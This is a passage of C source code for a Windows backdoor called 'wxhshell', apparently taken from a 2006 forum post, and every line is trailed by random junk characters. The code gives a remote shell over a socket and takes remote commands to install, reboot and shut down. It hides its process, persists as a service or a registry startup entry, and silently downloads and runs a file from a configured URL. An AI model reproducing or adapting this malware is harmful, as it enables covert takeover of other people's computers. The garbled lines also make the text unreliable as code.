  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {w2] Is2F  
  } +[G9PP6  
  else { oh{>nwH  
w~@"r#-  
    switch(cmd[0]) { 2 5 \S>  
  .8YxEnXw)(  
  // 帮助 Uj5-x%~  
  case '?': { h4]^~stI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  W9?* ~!  
    break; B<d=;V  
  } LhL |ETrJ  
  // 安装 owIpn=8|Q  
  case 'i': { 0x<ASfka  
    if(Install()) JK2{9#*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c,@Vz 7c  
    else ]^ R':YE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uU^DYgs  
    break; 9'*7 ( j;  
    } >M#@vIo?<6  
  // 卸载 iM!2m$'s  
  case 'r': { &qbEF3p^@  
    if(Uninstall()) :SaZhY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ):K%  
    else !FgZI4?/Y=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 72;'8  
    break; &GLDoLk6[  
    } MG=E 6:  
  // 显示 wxhshell 所在路径 w'TAM"D`  
  case 'p': { %M96 m   
    char svExeFile[MAX_PATH]; -m^- p  
    strcpy(svExeFile,"\n\r"); ) ^ En  
      strcat(svExeFile,ExeFile); rD}g9?ut  
        send(wsh,svExeFile,strlen(svExeFile),0); rn-bfzoDS  
    break; NO~G4PUM0C  
    } ~9]vd|  
  // 重启 5|rBb[  
  case 'b': { n.@HT"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h~#iGs  
    if(Boot(REBOOT)) #&.Znk:@.f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t oA}0MI(:  
    else { y_9\07va<  
    closesocket(wsh); Gi)Vr\Q.  
    ExitThread(0); H q6%$!q  
    } UV2W~g  
    break; }R;}d(C`  
    } 1WtE] D  
  // 关机 AGFA;X  
  case 'd': { 54p{J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f7*Qa!!2p]  
    if(Boot(SHUTDOWN)) :u7BCV|yr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =K:[26  
    else { s",Ea*  
    closesocket(wsh); :aOR@])>o  
    ExitThread(0); ^=x/:0  
    } ;n't:yQW  
    break; i "V.$|,  
    } )5@P|{FF  
  // 获取shell ykC3Z<pI.  
  case 's': { E+Bc>xl@ m  
    CmdShell(wsh); {z>!Fw  
    closesocket(wsh); $6n J+  
    ExitThread(0); wNUT0+  
    break; _WNbuk0  
  } bpc1> ?  
  // 退出 8oE`>Y  
  case 'x': { J!om"h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sV#%U%un  
    CloseIt(wsh); 5$ik|e^:y  
    break; u4hn9**a1  
    } o%'1=d3R1Q  
  // 离开 YXp\C"~g  
  case 'q': { >12jUm)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WHx #;  
    closesocket(wsh); vEfj3+e  
    WSACleanup(); K3mP6Z#2  
    exit(1); ! \s}A7  
    break; FF#Aq  
        } IFBt#]l0  
  } (wL$ h5SG  
  } u0#KBXRo  
( K[e=0Rf  
  // 提示信息 eZ:iW#YF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u43Mo\"<&%  
} Ct'tUF<K5  
  } n>)aw4  
d*|RFU  
  return; ,Mw93Kp Va  
} WdOxwsq"  
V<5. 4{[G  
// shell模块句柄 C rR/  
int CmdShell(SOCKET sock) $*eYiz3Ue  
{ [C EV&B  
STARTUPINFO si; 80Y% C-Y:  
ZeroMemory(&si,sizeof(si)); qoZi1,i'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s O#cJAfuu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hwM<0Jf   
PROCESS_INFORMATION ProcessInfo; ~0,v Q   
char cmdline[]="cmd"; c!HGiqp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ar\fA)UQ`  
  return 0; !y$##PZ  
} oU )(/  
7KiraKb|  
// 自身启动模式 N/F_,>E  
int StartFromService(void) _ uOi:Ti  
{ v9H t~\>  
typedef struct  B=*0  
{ IiniaVuQ  
  DWORD ExitStatus; <%.%q  
  DWORD PebBaseAddress; te[uAJ1 N  
  DWORD AffinityMask; (^W}uDPCB  
  DWORD BasePriority; cS Lj\'`b  
  ULONG UniqueProcessId; q5r7 KYH{  
  ULONG InheritedFromUniqueProcessId; q+[ )i6!?  
}   PROCESS_BASIC_INFORMATION; .=YV  
Mo@{1K/9  
PROCNTQSIP NtQueryInformationProcess; hYyIC:PXR  
K3vZ42n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [G brKq(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n`^jNXE  
,JI]Eij^  
  HANDLE             hProcess; #8XmOJ"W3k  
  PROCESS_BASIC_INFORMATION pbi; 1$DcE>  
(P? |Bk [  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \X\< +KU  
  if(NULL == hInst ) return 0; a)W|gx6Y  
Y 22Ai  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~hq\XQX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); * 4J!@w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "tl{HM5u  
J jZB!Lg=  
  if (!NtQueryInformationProcess) return 0; vFHeGq70j  
`=;}I@]zj)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r]LP=K1  
  if(!hProcess) return 0; U{dK8~  
.pZYPKMaE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .}F 39TS2  
hAUP#y@:H:  
  CloseHandle(hProcess); W\j'8^kI9  
 I wj[ ^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #rW-jW=A  
if(hProcess==NULL) return 0; \V'fB5  
VEa"^{,w  
HMODULE hMod; :C^{Lc  
char procName[255]; Mh3.GpS  
unsigned long cbNeeded; ?IeBo8  
t$qIJt$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PJ:!O?KVq  
'9]?jkl  
  CloseHandle(hProcess); DCa[?|Y  
i5(qJ/u  
if(strstr(procName,"services")) return 1; // 以服务启动 n]vCvmt  
3VU4E|s>  
  return 0; // 注册表启动 #:=c)[G8  
} IJ+}  
;fV"5H)U\  
// 主模块 d. d J^M  
int StartWxhshell(LPSTR lpCmdLine) vy2<'V*y}  
{ R-$w* =Y  
  SOCKET wsl; ]UIN4E  
BOOL val=TRUE; {_W8Qm`.  
  int port=0; v 2rzHzFU  
  struct sockaddr_in door; 5f_x.~ymA  
q8ZxeMqx%  
  if(wscfg.ws_autoins) Install(); _=x*yDPG}  
851BOkRal4  
port=atoi(lpCmdLine); q/w5Dx|:  
`dF~'  
if(port<=0) port=wscfg.ws_port; bkR~>F]FAu  
0-OKbw5%=b  
  WSADATA data; CC@U'9]bH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :icpPv  
7Z +Fjy-B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JkR%o #>5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); noaR3)  
  door.sin_family = AF_INET; MYV3</Xj*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1 39T*0C  
  door.sin_port = htons(port); {pi_yr3  
p".wqg*W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q%k&O9C2]  
closesocket(wsl); <x$nw'H9  
return 1; kqZRg>1A  
} h('5x,G%  
!m=Js"  
  if(listen(wsl,2) == INVALID_SOCKET) { GYy8kp84  
closesocket(wsl); w9u|E46  
return 1; ,c&t#mu*0  
} K_t >T)K  
  Wxhshell(wsl); :xmj42w>^  
  WSACleanup(); m{>"  
x| D|d}  
return 0; |,KsJ2hD  
(' %Y3z;  
} fb0)("_V  
%qJgtu"8  
// 以NT服务方式启动 Qu/f>tJN;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r9-ayp#pC  
{  0zr%8Q(Q  
DWORD   status = 0; 8T+o.w==  
  DWORD   specificError = 0xfffffff; A'}!'1  
V@RdvQy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L\#G#1x8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {c I~Nf?i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H!FaI(YZl  
  serviceStatus.dwWin32ExitCode     = 0; V*?QZ;hCP  
  serviceStatus.dwServiceSpecificExitCode = 0; Mx0~^l  
  serviceStatus.dwCheckPoint       = 0; 1fJ~Wp @1  
  serviceStatus.dwWaitHint       = 0; a{^ 2c!  
[Ous|a[)o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [[w-~hHH-  
  if (hServiceStatusHandle==0) return; ADxje%!1O  
08AD~^^  
status = GetLastError(); 2xi; 13?  
  if (status!=NO_ERROR) 82)=#ye_P  
{ X?ZLmP7|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; US's`Ehx  
    serviceStatus.dwCheckPoint       = 0; ,6^Xn=o #  
    serviceStatus.dwWaitHint       = 0; {]|<|vc;GI  
    serviceStatus.dwWin32ExitCode     = status; V]]!0ugvk(  
    serviceStatus.dwServiceSpecificExitCode = specificError; tpzh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~tL:r=  
    return; B<myt79F_[  
  } JSq3)o9?/  
LO%e1y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E>#@ H  
  serviceStatus.dwCheckPoint       = 0; S,|ZCl>+  
  serviceStatus.dwWaitHint       = 0; J 7dHD(R8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8t< X  
} S+Ia2O)BA  
^v5]Aq~X  
// 处理NT服务事件,比如:启动、停止 ON{a'H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qb=%W  
{ usKP9[T$  
switch(fdwControl) DIP%*b#l$\  
{ s9Tn|Pm+!\  
case SERVICE_CONTROL_STOP: ?|NsaW  
  serviceStatus.dwWin32ExitCode = 0; v0!(&g 3Sd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; | h"$  
  serviceStatus.dwCheckPoint   = 0; eMEKR5*-O  
  serviceStatus.dwWaitHint     = 0; 1f"}]MbLR  
  { [".94(qs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XdzC/ {G  
  } ; X+.Ag  
  return; V\n!?1{kdF  
case SERVICE_CONTROL_PAUSE: uARkf'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N*PJ m6-  
  break; 3,!IV"_  
case SERVICE_CONTROL_CONTINUE: 247vU1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `6YN/"unfp  
  break; ]m &Ss  
case SERVICE_CONTROL_INTERROGATE: %PPy0RZ^  
  break; ncVt (!c,e  
}; ,'<NyA><  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U0|bKU  
} #PC*l\ )  
())_4 <  
// 标准应用程序主函数 !Dc;R+Ir0!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jv%)UR.]  
{ qv2J0'd'.  
VWYNq^<AT  
// 获取操作系统版本 S,,Wb &A$  
OsIsNt=GetOsVer(); iB~dO @  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S<*1b 6%D  
s/3sOb}sA  
  // 从命令行安装 "-5FUKI-  
  if(strpbrk(lpCmdLine,"iI")) Install(); qauvwAMuX  
lA6{TH.x  
  // 下载执行文件 'UGgY3  
if(wscfg.ws_downexe) { "9~KVILlLu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cYOcl-*af  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9N2.:<so  
} N!tNRMTi  
AjO{c=d  
if(!OsIsNt) { #K`[XA  
// 如果时win9x,隐藏进程并且设置为注册表启动 JvCy&xrE;  
HideProc(); [H$kVQC  
StartWxhshell(lpCmdLine); 39~WP$GM  
} &P*r66  
else !6#.%"{-  
  if(StartFromService()) gtY7N>e  
  // 以服务方式启动 "cOBEhn%l  
  StartServiceCtrlDispatcher(DispatchTable); 1b7?6CqV  
else J!Rqm!)q  
  // 普通方式启动 KZ=5"a  
  StartWxhshell(lpCmdLine); I;<__  
iH dX  
return 0; ,>kXn1 ,  
}
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只看该作者 1 发表于: 2006-10-10
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